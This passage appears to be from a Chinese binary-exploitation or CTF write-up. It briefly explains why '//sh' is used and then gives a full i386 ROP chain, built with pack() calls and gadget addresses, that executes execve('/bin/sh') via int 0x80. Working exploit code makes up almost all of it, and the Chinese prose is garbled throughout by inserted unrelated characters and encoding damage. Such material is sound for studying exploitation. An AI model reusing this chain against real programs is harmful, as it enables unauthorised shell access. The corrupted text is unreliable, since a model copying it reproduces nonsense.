實現(xiàn)代碼如下,有個地方有些迷惑管怠,
? p += '//sh' arch為i386平臺秆吵,主要是執(zhí)行execv('/bin/sh',0,0) syscall调煎,'//sh'剛開始沒搞清楚為啥這么寫横缔,后面gdb才發(fā)現(xiàn)i386按四字節(jié)尋址铺遂,如果寫與'/sh',內(nèi)存內(nèi)容:0x0068732f茎刚,'/bin/sh'會斷成'/bin\0/sh'襟锐,中間有00字符,肯定不能執(zhí)行膛锭。
p += pack('<I', 0x0806eb6a) # pop edx ; ret
? ? p += pack('<I', 0x080ea060) # @ .data
? ? p += pack('<I', 0x080bb196) # pop eax ; ret
? ? p += '/bin'
? ? p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
? ? p += pack('<I', 0x0806eb6a) # pop edx ; ret
? ? p += pack('<I', 0x080ea064) # @ .data + 4
? ? p += pack('<I', 0x080bb196) # pop eax ; ret
? ? p += '//sh'
? ? p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
? ? p += pack('<I', 0x0806eb6a) # pop edx ; ret
? ? p += pack('<I', 0x080ea068) # @ .data + 8
? ? p += pack('<I', 0x08054590) # xor eax, eax ; ret
? ? p += pack('<I', 0x0809a4ad) # mov dword ptr [edx], eax ; ret
? ? p += pack('<I', 0x080481c9) # pop ebx ; ret
? ? p += pack('<I', 0x080ea060) # @ .data
? ? p += pack('<I', 0x0806eb91) # pop ecx ; pop ebx ; ret
? ? p += pack('<I', 0x080ea068) # @ .data + 8
? ? p += pack('<I', 0x080ea060) # padding without overwrite ebx
? ? p += pack('<I', 0x0806eb6a) # pop edx ; ret
? ? p += pack('<I', 0x080ea068) # @ .data + 8
? ? p += pack('<I', 0x08054590) # xor eax, eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x0807b5bf) # inc eax ; ret
? ? p += pack('<I', 0x08049421) # int 0x80